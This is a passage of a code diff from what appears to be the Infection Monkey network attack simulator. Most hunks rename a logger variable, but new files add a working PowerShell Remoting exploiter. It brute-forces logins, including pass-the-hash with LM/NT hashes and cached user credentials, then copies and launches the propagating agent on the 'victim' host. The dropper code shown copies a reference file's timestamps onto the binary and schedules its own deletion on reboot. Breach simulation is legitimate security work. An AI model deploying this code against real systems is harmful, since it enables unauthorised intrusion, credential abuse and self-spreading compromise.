reply._content,
|
||||
|
@ -238,7 +253,7 @@ class ControlClient(object):
|
|||
timeout=MEDIUM_REQUEST_TIMEOUT,
|
||||
)
|
||||
except Exception as exc:
|
||||
LOG.warning(
|
||||
logger.warning(
|
||||
"Error connecting to control server %s: %s", WormConfiguration.current_server, exc
|
||||
)
|
||||
return {}
|
||||
|
@ -307,7 +322,7 @@ class ControlClient(object):
|
|||
return dest_file
|
||||
|
||||
except Exception as exc:
|
||||
LOG.warning(
|
||||
logger.warning(
|
||||
"Error connecting to control server %s: %s", WormConfiguration.current_server, exc
|
||||
)
|
||||
|
||||
|
@ -339,7 +354,7 @@ class ControlClient(object):
|
|||
return None, None
|
||||
|
||||
except Exception as exc:
|
||||
LOG.warning(
|
||||
logger.warning(
|
||||
"Error connecting to control server %s: %s", WormConfiguration.current_server, exc
|
||||
)
|
||||
|
||||
|
|
|
@ -33,7 +33,7 @@ except NameError:
|
|||
WindowsError = IOError
|
||||
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
MOVEFILE_DELAY_UNTIL_REBOOT = 4
|
||||
|
||||
|
@ -56,11 +56,11 @@ class MonkeyDrops(object):
|
|||
}
|
||||
|
||||
def initialize(self):
|
||||
LOG.debug("Dropper is running with config:\n%s", pprint.pformat(self._config))
|
||||
logger.debug("Dropper is running with config:\n%s", pprint.pformat(self._config))
|
||||
|
||||
def start(self):
|
||||
if self._config["destination_path"] is None:
|
||||
LOG.error("No destination path specified")
|
||||
logger.error("No destination path specified")
|
||||
return False
|
||||
|
||||
# we copy/move only in case path is different
|
||||
|
@ -77,7 +77,7 @@ class MonkeyDrops(object):
|
|||
try:
|
||||
shutil.move(self._config["source_path"], self._config["destination_path"])
|
||||
|
||||
LOG.info(
|
||||
logger.info(
|
||||
"Moved source file '%s' into '%s'",
|
||||
self._config["source_path"],
|
||||
self._config["destination_path"],
|
||||
|
@ -85,7 +85,7 @@ class MonkeyDrops(object):
|
|||
|
||||
file_moved = True
|
||||
except (WindowsError, IOError, OSError) as exc:
|
||||
LOG.debug(
|
||||
logger.debug(
|
||||
"Error moving source file '%s' into '%s': %s",
|
||||
self._config["source_path"],
|
||||
self._config["destination_path"],
|
||||
|
@ -97,13 +97,13 @@ class MonkeyDrops(object):
|
|||
try:
|
||||
shutil.copy(self._config["source_path"], self._config["destination_path"])
|
||||
|
||||
LOG.info(
|
||||
logger.info(
|
||||
"Copied source file '%s' into '%s'",
|
||||
self._config["source_path"],
|
||||
self._config["destination_path"],
|
||||
)
|
||||
except (WindowsError, IOError, OSError) as exc:
|
||||
LOG.error(
|
||||
logger.error(
|
||||
"Error copying source file '%s' into '%s': %s",
|
||||
self._config["source_path"],
|
||||
self._config["destination_path"],
|
||||
|
@ -122,7 +122,7 @@ class MonkeyDrops(object):
|
|||
try:
|
||||
ref_stat = os.stat(dropper_date_reference_path)
|
||||
except OSError:
|
||||
LOG.warning(
|
||||
logger.warning(
|
||||
"Cannot set reference date using '%s', file not found",
|
||||
dropper_date_reference_path,
|
||||
)
|
||||
|
@ -132,7 +132,7 @@ class MonkeyDrops(object):
|
|||
self._config["destination_path"], (ref_stat.st_atime, ref_stat.st_mtime)
|
||||
)
|
||||
except OSError:
|
||||
LOG.warning("Cannot set reference date to destination file")
|
||||
logger.warning("Cannot set reference date to destination file")
|
||||
|
||||
monkey_options = build_monkey_commandline_explicitly(
|
||||
parent=self.opts.parent,
|
||||
|
@ -173,7 +173,7 @@ class MonkeyDrops(object):
|
|||
creationflags=DETACHED_PROCESS,
|
||||
)
|
||||
|
||||
LOG.info(
|
||||
logger.info(
|
||||
"Executed monkey process (PID=%d) with command line: %s",
|
||||
monkey_process.pid,
|
||||
" ".join(monkey_commandline),
|
||||
|
@ -181,10 +181,10 @@ class MonkeyDrops(object):
|
|||
|
||||
time.sleep(3)
|
||||
if monkey_process.poll() is not None:
|
||||
LOG.warning("Seems like monkey died too soon")
|
||||
logger.warning("Seems like monkey died too soon")
|
||||
|
||||
def cleanup(self):
|
||||
LOG.info("Cleaning up the dropper")
|
||||
logger.info("Cleaning up the dropper")
|
||||
|
||||
try:
|
||||
if (
|
||||
|
@ -197,28 +197,28 @@ class MonkeyDrops(object):
|
|||
try:
|
||||
os.remove(self._config["source_path"])
|
||||
except Exception as exc:
|
||||
LOG.debug(
|
||||
logger.debug(
|
||||
"Error removing source file '%s': %s", self._config["source_path"], exc
|
||||
)
|
||||
|
||||
# mark the file for removal on next boot
|
||||
dropper_source_path_ctypes = c_char_p(self._config["source_path"])
|
||||
dropper_source_path_ctypes = c_char_p(self._config["source_path"].encode())
|
||||
if 0 == ctypes.windll.kernel32.MoveFileExA(
|
||||
dropper_source_path_ctypes, None, MOVEFILE_DELAY_UNTIL_REBOOT
|
||||
):
|
||||
LOG.debug(
|
||||
logger.debug(
|
||||
"Error marking source file '%s' for deletion on next boot (error "
|
||||
"%d)",
|
||||
self._config["source_path"],
|
||||
ctypes.windll.kernel32.GetLastError(),
|
||||
)
|
||||
else:
|
||||
LOG.debug(
|
||||
logger.debug(
|
||||
"Dropper source file '%s' is marked for deletion on next boot",
|
||||
self._config["source_path"],
|
||||
)
|
||||
T1106Telem(ScanStatus.USED, UsageEnum.DROPPER_WINAPI).send()
|
||||
|
||||
LOG.info("Dropper cleanup complete")
|
||||
logger.info("Dropper cleanup complete")
|
||||
except AttributeError:
|
||||
LOG.error("Invalid configuration options. Failing")
|
||||
logger.error("Invalid configuration options. Failing")
|
||||
|
|
|
@ -2,10 +2,6 @@
|
|||
"command_servers": [
|
||||
"192.0.2.0:5000"
|
||||
],
|
||||
"internet_services": [
|
||||
"monkey.guardicore.com",
|
||||
"www.google.com"
|
||||
],
|
||||
"keep_tunnel_open_time": 60,
|
||||
"subnet_scan_list": [
|
||||
|
||||
|
|
|
@ -0,0 +1,3 @@
|
|||
# Constants used to refer to windows architectures
|
||||
WIN_ARCH_32 = "32"
|
||||
WIN_ARCH_64 = "64"
|
|
@ -15,7 +15,7 @@ from common.network.network_utils import remove_port
|
|||
from infection_monkey.exploit.web_rce import WebRCE
|
||||
from infection_monkey.model import ID_STRING
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class DrupalExploiter(WebRCE):
|
||||
|
@ -53,7 +53,7 @@ class DrupalExploiter(WebRCE):
|
|||
try:
|
||||
node_ids = find_exploitbale_article_ids(url)
|
||||
if node_ids is None:
|
||||
LOG.info("Could not find a Drupal node to attack")
|
||||
logger.info("Could not find a Drupal node to attack")
|
||||
continue
|
||||
for node_id in node_ids:
|
||||
node_url = urljoin(url, str(node_id))
|
||||
|
@ -65,9 +65,9 @@ class DrupalExploiter(WebRCE):
|
|||
if stop_checking:
|
||||
break
|
||||
except Exception as e: # We still don't know which errors to expect
|
||||
LOG.error(f"url {url} failed in exploitability check: {e}")
|
||||
logger.error(f"url {url} failed in exploitability check: {e}")
|
||||
if not self.vulnerable_urls:
|
||||
LOG.info("No vulnerable urls found")
|
||||
logger.info("No vulnerable urls found")
|
||||
|
||||
def check_if_exploitable(self, url):
|
||||
"""
|
||||
|
@ -89,7 +89,7 @@ class DrupalExploiter(WebRCE):
|
|||
)
|
||||
|
||||
if is_response_cached(response):
|
||||
LOG.info(f"Checking if node {url} is vuln returned cache HIT, ignoring")
|
||||
logger.info(f"Checking if node {url} is vuln returned cache HIT, ignoring")
|
||||
return False
|
||||
|
||||
return "INVALID_VALUE does not correspond to an entity on this site" in response.text
|
||||
|
@ -109,10 +109,10 @@ class DrupalExploiter(WebRCE):
|
|||
)
|
||||
|
||||
if is_response_cached(r):
|
||||
LOG.info(f"Exploiting {url} returned cache HIT, may have failed")
|
||||
logger.info(f"Exploiting {url} returned cache HIT, may have failed")
|
||||
|
||||
if ID_STRING not in r.text:
|
||||
LOG.warning("Command execution _may_ have failed")
|
||||
logger.warning("Command execution _may_ have failed")
|
||||
|
||||
result = r.text.split(ID_STRING)[-1]
|
||||
return result
|
||||
|
@ -137,7 +137,7 @@ class DrupalExploiter(WebRCE):
|
|||
num_available_urls = len(self.vulnerable_urls)
|
||||
result = num_available_urls >= num_urls_needed_for_full_exploit
|
||||
if not result:
|
||||
LOG.info(
|
||||
logger.info(
|
||||
f"{num_urls_needed_for_full_exploit} URLs are needed to fully exploit a "
|
||||
f"Drupal server "
|
||||
f"but only {num_available_urls} found"
|
||||
|
@ -160,7 +160,7 @@ def find_exploitbale_article_ids(base_url: str, lower: int = 1, upper: int = 100
|
|||
)
|
||||
if response.status_code == 200:
|
||||
if is_response_cached(response):
|
||||
LOG.info(f"Found a cached article at: {node_url}, skipping")
|
||||
logger.info(f"Found a cached article at: {node_url}, skipping")
|
||||
else:
|
||||
articles.add(lower)
|
||||
lower += 1
|
||||
|
|
|
@ -25,7 +25,7 @@ from infection_monkey.model import (
|
|||
from infection_monkey.network.elasticfinger import ES_PORT
|
||||
from infection_monkey.telemetry.attack.t1197_telem import T1197Telem
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class ElasticGroovyExploiter(WebRCE):
|
||||
|
@ -69,7 +69,7 @@ class ElasticGroovyExploiter(WebRCE):
|
|||
try:
|
||||
response = requests.get(url, data=payload, timeout=DOWNLOAD_TIMEOUT)
|
||||
except requests.ReadTimeout:
|
||||
LOG.error(
|
||||
logger.error(
|
||||
"Elastic couldn't upload monkey, because server didn't respond to upload "
|
||||
"request."
|
||||
)
|
||||
|
@ -110,5 +110,5 @@ class ElasticGroovyExploiter(WebRCE):
|
|||
else:
|
||||
return False
|
||||
except Exception as e:
|
||||
LOG.error("Host's exploitability check failed due to: %s" % e)
|
||||
logger.error("Host's exploitability check failed due to: %s" % e)
|
||||
return False
|
||||
|
|
|
@ -5,7 +5,6 @@
|
|||
"""
|
||||
|
||||
import json
|
||||
import logging
|
||||
import posixpath
|
||||
import string
|
||||
from random import SystemRandom
|
||||
|
@ -24,8 +23,6 @@ from infection_monkey.model import (
|
|||
)
|
||||
from infection_monkey.utils.commands import build_monkey_commandline
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class HadoopExploiter(WebRCE):
|
||||
_TARGET_OS_TYPE = ["linux", "windows"]
|
||||
|
|
|
@ -14,7 +14,7 @@ from infection_monkey.exploit.tools.payload_parsing import LimitedSizePayload
|
|||
from infection_monkey.model import DROPPER_ARG
|
||||
from infection_monkey.utils.commands import build_monkey_commandline
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class MSSQLExploiter(HostExploiter):
|
||||
|
@ -195,7 +195,7 @@ class MSSQLExploiter(HostExploiter):
|
|||
conn = pymssql.connect(
|
||||
host, user, password, port=port, login_timeout=self.LOGIN_TIMEOUT
|
||||
)
|
||||
LOG.info(
|
||||
logger.info(
|
||||
"Successfully connected to host: {0}, using user: {1}, password ("
|
||||
"SHA-512): {2}".format(host, user, self._config.hash_sensitive_data(password))
|
||||
)
|
||||
|
@ -208,7 +208,7 @@ class MSSQLExploiter(HostExploiter):
|
|||
# Combo didn't work, hopping to the next one
|
||||
pass
|
||||
|
||||
LOG.warning(
|
||||
logger.warning(
|
||||
"No user/password combo was able to connect to host: {0}:{1}, "
|
||||
"aborting brute force".format(host, port)
|
||||
)
|
||||
|
|
|
@ -0,0 +1,219 @@
|
|||
import logging
|
||||
import os
|
||||
from typing import List, Optional
|
||||
|
||||
import infection_monkey.monkeyfs as monkeyfs
|
||||
from common.utils.exploit_enum import ExploitType
|
||||
from infection_monkey.exploit.consts import WIN_ARCH_32
|
||||
from infection_monkey.exploit.HostExploiter import HostExploiter
|
||||
from infection_monkey.exploit.powershell_utils.auth_options import (
|
||||
AUTH_NEGOTIATE,
|
||||
ENCRYPTION_AUTO,
|
||||
AuthOptions,
|
||||
get_auth_options,
|
||||
)
|
||||
from infection_monkey.exploit.powershell_utils.credentials import (
|
||||
Credentials,
|
||||
SecretType,
|
||||
get_credentials,
|
||||
)
|
||||
from infection_monkey.exploit.powershell_utils.powershell_client import (
|
||||
AuthenticationError,
|
||||
IPowerShellClient,
|
||||
PowerShellClient,
|
||||
)
|
||||
from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey_by_os
|
||||
from infection_monkey.model import DROPPER_ARG, RUN_MONKEY, VictimHost
|
||||
from infection_monkey.utils.commands import build_monkey_commandline
|
||||
from infection_monkey.utils.environment import is_windows_os
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
TEMP_MONKEY_BINARY_FILEPATH = "./monkey_temp_bin"
|
||||
|
||||
|
||||
class PowerShellRemotingDisabledError(Exception):
|
||||
pass
|
||||
|
||||
|
||||
class PowerShellExploiter(HostExploiter):
|
||||
_TARGET_OS_TYPE = ["windows"]
|
||||
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
|
||||
_EXPLOITED_SERVICE = "PowerShell Remoting (WinRM)"
|
||||
|
||||
def __init__(self, host: VictimHost):
|
||||
super().__init__(host)
|
||||
self._client = None
|
||||
|
||||
def _exploit_host(self):
|
||||
try:
|
||||
use_ssl = self._is_client_using_https()
|
||||
except PowerShellRemotingDisabledError as e:
|
||||
logging.info(e)
|
||||
return False
|
||||
|
||||
credentials = get_credentials(
|
||||
self._config.exploit_user_list,
|
||||
self._config.exploit_password_list,
|
||||
self._config.exploit_lm_hash_list,
|
||||
self._config.exploit_ntlm_hash_list,
|
||||
is_windows_os(),
|
||||
)
|
||||
auth_options = [get_auth_options(creds, use_ssl) for creds in credentials]
|
||||
|
||||
self._client = self._authenticate_via_brute_force(credentials, auth_options)
|
||||
if not self._client:
|
||||
return False
|
||||
|
||||
return self._execute_monkey_agent_on_victim()
|
||||
|
||||
def _is_client_using_https(self) -> bool:
|
||||
try:
|
||||
logging.debug("Checking if powershell remoting is enabled over HTTP.")
|
||||
self._try_http()
|
||||
return False
|
||||
except AuthenticationError:
|
||||
return False
|
||||
except Exception as e:
|
||||
logging.debug(f"Powershell remoting over HTTP seems disabled: {e}")
|
||||
|
||||
try:
|
||||
logging.debug("Checking if powershell remoting is enabled over HTTPS.")
|
||||
self._try_https()
|
||||
return True
|
||||
except AuthenticationError:
|
||||
return True
|
||||
except Exception as e:
|
||||
logging.debug(f"Powershell remoting over HTTPS seems disabled: {e}")
|
||||
raise PowerShellRemotingDisabledError("Powershell remoting seems to be disabled.")
|
||||
|
||||
def _try_http(self):
|
||||
self._try_ssl_login(use_ssl=False)
|
||||
|
||||
def _try_https(self):
|
||||
self._try_ssl_login(use_ssl=True)
|
||||
|
||||
def _try_ssl_login(self, use_ssl: bool):
|
||||
credentials = Credentials(
|
||||
username="dummy_username",
|
||||
secret="dummy_password",
|
||||
secret_type=SecretType.PASSWORD,
|
||||
)
|
||||
|
||||
auth_options = AuthOptions(
|
||||
auth_type=AUTH_NEGOTIATE,
|
||||
encryption=ENCRYPTION_AUTO,
|
||||
ssl=use_ssl,
|
||||
)
|
||||
|
||||
PowerShellClient(self.host.ip_addr, credentials, auth_options)
|
||||
|
||||
def _authenticate_via_brute_force(
|
||||
self, credentials: List[Credentials], auth_options: List[AuthOptions]
|
||||
) -> Optional[IPowerShellClient]:
|
||||
for (creds, opts) in zip(credentials, auth_options):
|
||||
client = PowerShellClient(self.host.ip_addr, creds, opts)
|
||||
if self._is_client_auth_valid(creds, client):
|
||||
return client
|
||||
|
||||
return None
|
||||
|
||||
def _is_client_auth_valid(self, creds: Credentials, client: IPowerShellClient) -> bool:
|
||||
try:
|
||||
# attempt to execute dir command to know if authentication was successful
|
||||
client.execute_cmd("dir")
|
||||
|
||||
logger.info(
|
||||
f"Successfully logged into {self.host.ip_addr} using Powershell. User: "
|
||||
f"{creds.username}, Secret Type: {creds.secret_type.name}"
|
||||
)
|
||||
self._report_login_attempt(True, creds)
|
||||
|
||||
return True
|
||||
except Exception as ex: # noqa: F841
|
||||
logger.debug(
|
||||
f"Error logging into {self.host.ip_addr} using Powershell. User: "
|
||||
f"{creds.username}, SecretType: {creds.secret_type.name} -- Error: {ex}"
|
||||
)
|
||||
self._report_login_attempt(False, creds)
|
||||
return False
|
||||
|
||||
def _report_login_attempt(self, result: bool, credentials: Credentials):
|
||||
if credentials.secret_type in [SecretType.PASSWORD, SecretType.CACHED]:
|
||||
self.report_login_attempt(result, credentials.username, password=credentials.secret)
|
||||
elif credentials.secret_type == SecretType.LM_HASH:
|
||||
self.report_login_attempt(result, credentials.username, lm_hash=credentials.secret)
|
||||
elif credentials.secret_type == SecretType.NT_HASH:
|
||||
self.report_login_attempt(result, credentials.username, ntlm_hash=credentials.secret)
|
||||
else:
|
||||
raise ValueError(f"Unknown secret type {credentials.secret_type}")
|
||||
|
||||
def _execute_monkey_agent_on_victim(self) -> bool:
|
||||
arch = self._client.get_host_architecture()
|
||||
self.is_32bit = arch == WIN_ARCH_32
|
||||
logger.debug(f"Host architecture is {arch}")
|
||||
|
||||
monkey_path_on_victim = (
|
||||
self._config.dropper_target_path_win_32
|
||||
if self.is_32bit
|
||||
else self._config.dropper_target_path_win_64
|
||||
)
|
||||
|
||||
is_monkey_copy_successful = self._copy_monkey_binary_to_victim(monkey_path_on_victim)
|
||||
if is_monkey_copy_successful:
|
||||
logger.info("Successfully copied the monkey binary to the victim.")
|
||||
self._run_monkey_executable_on_victim(monkey_path_on_victim)
|
||||
else:
|
||||
logger.error("Failed to copy the monkey binary to the victim.")
|
||||
return False
|
||||
|
||||
return True
|
||||
|
||||
def _copy_monkey_binary_to_victim(self, monkey_path_on_victim) -> bool:
|
||||
try:
|
||||
self._write_virtual_file_to_local_path()
|
||||
|
||||
logger.info(f"Attempting to copy the monkey agent binary to {self.host.ip_addr}")
|
||||
is_monkey_copy_successful = self._client.copy_file(
|
||||
TEMP_MONKEY_BINARY_FILEPATH, monkey_path_on_victim
|
||||
)
|
||||
except Exception as ex:
|
||||
raise ex
|
||||
finally:
|
||||
if os.path.isfile(TEMP_MONKEY_BINARY_FILEPATH):
|
||||
os.remove(TEMP_MONKEY_BINARY_FILEPATH)
|
||||
|
||||
return is_monkey_copy_successful
|
||||
|
||||
def _write_virtual_file_to_local_path(self) -> None:
|
||||
monkey_fs_path = get_target_monkey_by_os(is_windows=True, is_32bit=self.is_32bit)
|
||||
|
||||
with monkeyfs.open(monkey_fs_path) as monkey_virtual_file:
|
||||
with open(TEMP_MONKEY_BINARY_FILEPATH, "wb") as monkey_local_file:
|
||||
monkey_local_file.write(monkey_virtual_file.read())
|
||||
|
||||
def _run_monkey_executable_on_victim(self, executable_path) -> None:
|
||||
monkey_execution_command = build_monkey_execution_command(
|
||||
self.host, get_monkey_depth() - 1, executable_path
|
||||
)
|
||||
|
||||
logger.info(
|
||||
f"Attempting to execute the monkey agent on remote host " f"{self.host.ip_addr}"
|
||||
)
|
||||
|
||||
self._client.execute_cmd_as_detached_process(monkey_execution_command)
|
||||
|
||||
|
||||
def build_monkey_execution_command(host: VictimHost, depth: int, executable_path: str) -> str:
|
||||
monkey_params = build_monkey_commandline(
|
||||
target_host=host,
|
||||
depth=depth,
|
||||
vulnerable_port=None,
|
||||
location=executable_path,
|
||||
)
|
||||
|
||||
return RUN_MONKEY % {
|
||||
"monkey_path": executable_path,
|
||||
"monkey_type": DROPPER_ARG,
|
||||
"parameters": monkey_params,
|
||||
}
|
|
@ -0,0 +1,43 @@
|
|||
from dataclasses import dataclass
|
||||
|
||||
from infection_monkey.exploit.powershell_utils.credentials import Credentials, SecretType
|
||||
|
||||
AUTH_BASIC = "basic"
|
||||
AUTH_NEGOTIATE = "negotiate"
|
||||
AUTH_NTLM = "ntlm"
|
||||
ENCRYPTION_AUTO = "auto"
|
||||
ENCRYPTION_NEVER = "never"
|
||||
|
||||
|
||||
@dataclass
|
||||
class AuthOptions:
|
||||
auth_type: str
|
||||
encryption: str
|
||||
ssl: bool
|
||||
|
||||
|
||||
def get_auth_options(credentials: Credentials, use_ssl: bool) -> AuthOptions:
|
||||
ssl = _get_ssl(credentials, use_ssl)
|
||||
auth_type = _get_auth_type(credentials)
|
||||
encryption = _get_encryption(credentials)
|
||||
|
||||
return AuthOptions(auth_type, encryption, ssl)
|
||||
|
||||
|
||||
def _get_ssl(credentials: Credentials, use_ssl):
|
||||
# Passwordless login only works with SSL false, AUTH_BASIC and ENCRYPTION_NEVER
|
||||
return False if credentials.secret == "" else use_ssl
|
||||
|
||||
|
||||
def _get_auth_type(credentials: Credentials):
|
||||
if credentials.secret == "":
|
||||
return AUTH_BASIC
|
||||
|
||||
if credentials.secret_type in {SecretType.LM_HASH, SecretType.NT_HASH}:
|
||||
return AUTH_NTLM
|
||||
|
||||
return AUTH_NEGOTIATE
|
||||
|
||||
|
||||
def _get_encryption(credentials: Credentials):
|
||||
return ENCRYPTION_NEVER if credentials.secret == "" else ENCRYPTION_AUTO
|
|
@ -0,0 +1,124 @@
|
|||
import logging
|
||||
from dataclasses import dataclass
|
||||
from enum import Enum
|
||||
from itertools import product
|
||||
from typing import List, Tuple, Union
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class SecretType(Enum):
|
||||
CACHED = 1
|
||||
PASSWORD = 2
|
||||
LM_HASH = 3
|
||||
NT_HASH = 4
|
||||
|
||||
|
||||
@dataclass
|
||||
class Credentials:
|
||||
username: Union[str, None]
|
||||
secret: Union[str, None]
|
||||
secret_type: SecretType
|
||||
|
||||
|
||||
def get_credentials(
|
||||
usernames: List[str],
|
||||
passwords: List[str],
|
||||
lm_hashes: List[str],
|
||||
nt_hashes: List[str],
|
||||
is_windows: bool,
|
||||
) -> List[Credentials]:
|
||||
username_domain_combinations = _get_username_domain_combinations(usernames, is_windows)
|
||||
|
||||
credentials = []
|
||||
credentials.extend(_get_empty_credentials(is_windows))
|
||||
credentials.extend(_get_username_only_credentials(username_domain_combinations, is_windows))
|
||||
credentials.extend(_get_username_password_credentials(username_domain_combinations, passwords))
|
||||
credentials.extend(_get_username_lm_hash_credentials(username_domain_combinations, lm_hashes))
|
||||
credentials.extend(_get_username_nt_hash_credentials(username_domain_combinations, nt_hashes))
|
||||
|
||||
return credentials
|
||||
|
||||
|
||||
def _get_username_domain_combinations(usernames: List[str], is_windows) -> List[str]:
|
||||
username_domain_combinations = set(usernames)
|
||||
for u in usernames:
|
||||
username_domain_combinations.add(f".\\{u}")
|
||||
|
||||
if is_windows:
|
||||
try:
|
||||
domain, current_username = _get_current_user_and_domain()
|
||||
username_domain_combinations.add(current_username)
|
||||
username_domain_combinations.add(f"{domain}\\{current_username}")
|
||||
username_domain_combinations.add(f".\\{current_username}")
|
||||
for u in usernames:
|
||||
username_domain_combinations.add(f"{domain}\\{u}")
|
||||
except Exception as ex:
|
||||
logger.error(f"Failed to get the current user's username and domain name: {ex}")
|
||||
|
||||
return list(username_domain_combinations)
|
||||
|
||||
|
||||
def _get_current_user_and_domain() -> Tuple[str, str]:
|
||||
import win32api
|
||||
|
||||
return win32api.GetUserNameEx(win32api.NameSamCompatible).split("\\")
|
||||
|
||||
|
||||
# On Windows systems, when username == None and password == None, the current user's credentials
|
||||
# will be used to attempt to log into the victim only on the first hop, from island
|
||||
# to a machine. Propagating after the first hop is not possible at the moment.
|
||||
# See this: https://security.stackexchange.com/questions/120422/powershell-and-cached-credentials
|
||||
def _get_empty_credentials(is_windows: bool) -> List[Credentials]:
|
||||
if is_windows:
|
||||
return [Credentials(username=None, secret=None, secret_type=SecretType.CACHED)]
|
||||
|
||||
return []
|
||||
|
||||
|
||||
# On Windows systems, when password == None, the current user's password will be used to attempt to
|
||||
# log into the victim.
|
||||
def _get_username_only_credentials(usernames: List[str], is_windows: bool) -> List[Credentials]:
|
||||
credentials = [
|
||||
Credentials(username=username, secret="", secret_type=SecretType.PASSWORD)
|
||||
for username in usernames
|
||||
]
|
||||
|
||||
if is_windows:
|
||||
credentials.extend(
|
||||
[
|
||||
Credentials(username=username, secret=None, secret_type=SecretType.CACHED)
|
||||
for username in usernames
|
||||
]
|
||||
)
|
||||
|
||||
return credentials
|
||||
|
||||
|
||||
def _get_username_password_credentials(
|
||||
usernames: List[str], passwords: List[str]
|
||||
) -> List[Credentials]:
|
||||
return _get_username_secret_credentials(usernames, passwords, SecretType.PASSWORD)
|
||||
|
||||
|
||||
def _get_username_lm_hash_credentials(
|
||||
usernames: List[str], lm_hashes: List[str]
|
||||
) -> List[Credentials]:
|
||||
return _get_username_secret_credentials(usernames, lm_hashes, SecretType.LM_HASH)
|
||||
|
||||
|
||||
def _get_username_nt_hash_credentials(
|
||||
usernames: List[str], nt_hashes: List[str]
|
||||
) -> List[Credentials]:
|
||||
return _get_username_secret_credentials(usernames, nt_hashes, SecretType.NT_HASH)
|
||||
|
||||
|
||||
def _get_username_secret_credentials(
|
||||
usernames: List[str], secrets: List[str], secret_type: SecretType
|
||||
) -> List[Credentials]:
|
||||
username_secret_pairs = product(usernames, secrets)
|
||||
|
||||
return [
|
||||
Credentials(credentials[0], credentials[1], secret_type)
|
||||
for credentials in username_secret_pairs
|
||||
]
|
|
@ -0,0 +1,124 @@
|
|||
import abc
|
||||
import logging
|
||||
from typing import Optional, Union
|
||||
|
||||
import pypsrp
|
||||
import spnego
|
||||
from pypsrp.client import Client
|
||||
from pypsrp.exceptions import AuthenticationError # noqa: F401
|
||||
from pypsrp.powershell import PowerShell, RunspacePool
|
||||
from typing_extensions import Protocol
|
||||
from urllib3 import connectionpool
|
||||
|
||||
from infection_monkey.exploit.consts import WIN_ARCH_32, WIN_ARCH_64
|
||||
from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions
|
||||
from infection_monkey.exploit.powershell_utils.credentials import Credentials, SecretType
|
||||
from infection_monkey.model import GET_ARCH_WINDOWS
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
CONNECTION_TIMEOUT = 3 # Seconds
|
||||
|
||||
|
||||
def _set_sensitive_packages_log_level_to_error():
|
||||
# If root logger is inherited, extensive and potentially sensitive info could be logged
|
||||
sensitive_packages = [pypsrp, spnego, connectionpool]
|
||||
for package in sensitive_packages:
|
||||
logging.getLogger(package.__name__).setLevel(logging.ERROR)
|
||||
|
||||
|
||||
# The pypsrp library requires LM or NT hashes to be formatted like "LM_HASH:NT_HASH"
|
||||
#
|
||||
# Example:
|
||||
# If your LM hash is 1ec78eb5f6edd379351858c437fc3e4e and your NT hash is
|
||||
# 79a760336ad8c808fee32aa96985a305, then you would pass
|
||||
# "1ec78eb5f6edd379351858c437fc3e4e:79a760336ad8c808fee32aa96985a305" as the
|
||||
# `password` parameter to pypsrp.
|
||||
#
|
||||
# In our case, we have a set of NT hashes and a set of LM hashes, but we don't
|
||||
# know if any particular LM/NT hash pair was generated from the same password.
|
||||
# To avoid confusion, we pair each NT or LM hash with a dummy (i.e. all zeros)
|
||||
# hash.
|
||||
def format_password(credentials: Credentials) -> Optional[str]:
|
||||
if credentials.secret_type == SecretType.CACHED:
|
||||
return None
|
||||
|
||||
if credentials.secret_type == SecretType.PASSWORD:
|
||||
return credentials.secret
|
||||
|
||||
if credentials.secret_type == SecretType.LM_HASH:
|
||||
return f"{credentials.secret}:00000000000000000000000000000000"
|
||||
|
||||
if credentials.secret_type == SecretType.NT_HASH:
|
||||
return f"00000000000000000000000000000000:{credentials.secret}"
|
||||
|
||||
raise ValueError(f"Unknown secret type {credentials.secret_type}")
|
||||
|
||||
|
||||
class IPowerShellClient(Protocol, metaclass=abc.ABCMeta):
|
||||
@abc.abstractmethod
|
||||
def execute_cmd(self, cmd: str) -> str:
|
||||
pass
|
||||
|
||||
@abc.abstractmethod
|
||||
def get_host_architecture(self) -> Union[WIN_ARCH_32, WIN_ARCH_64]:
|
||||
pass
|
||||
|
||||
@abc.abstractmethod
|
||||
def copy_file(self, src: str, dest: str) -> bool:
|
||||
pass
|
||||
|
||||
@abc.abstractmethod
|
||||
def execute_cmd_as_detached_process(self, cmd: str):
|
||||
pass
|
||||
|
||||
|
||||
class PowerShellClient(IPowerShellClient):
|
||||
def __init__(self, ip_addr, credentials: Credentials, auth_options: AuthOptions):
|
||||
_set_sensitive_packages_log_level_to_error()
|
||||
|
||||
self._ip_addr = ip_addr
|
||||
self._client = Client(
|
||||
ip_addr,
|
||||
username=credentials.username,
|
||||
password=format_password(credentials),
|
||||
cert_validation=False,
|
||||
auth=auth_options.auth_type,
|
||||
encryption=auth_options.encryption,
|
||||
ssl=auth_options.ssl,
|
||||
connection_timeout=CONNECTION_TIMEOUT,
|
||||
)
|
||||
|
||||
def execute_cmd(self, cmd: str) -> str:
|
||||
output, _, _ = self._client.execute_cmd(cmd)
|
||||
return output
|
||||
|
||||
def get_host_architecture(self) -> Union[WIN_ARCH_32, WIN_ARCH_64]:
|
||||
stdout, _, _ = self._client.execute_cmd(GET_ARCH_WINDOWS)
|
||||
if "64-bit" in stdout:
|
||||
return WIN_ARCH_64
|
||||
|
||||
return WIN_ARCH_32
|
||||
|
||||
def copy_file(self, src: str, dest: str) -> bool:
|
||||
try:
|
||||
self._client.copy(src, dest)
|
||||
logger.debug(f"Successfully copied {src} to {dest} on {self._ip_addr}")
|
||||
|
||||
return True
|
||||
except Exception as ex:
|
||||
logger.error(f"Failed to copy {src} to {dest} on {self._ip_addr}: {ex}")
|
||||
|
||||
return False
|
||||
|
||||
def execute_cmd_as_detached_process(self, cmd: str):
|
||||
logger.debug(
|
||||
f"Attempting to execute a command on the remote host as a detached process - "
|
||||
f"Host: {self._ip_addr}, Command: {cmd}"
|
||||
)
|
||||
with self._client.wsman, RunspacePool(self._client.wsman) as pool:
|
||||
ps = PowerShell(pool)
|
||||
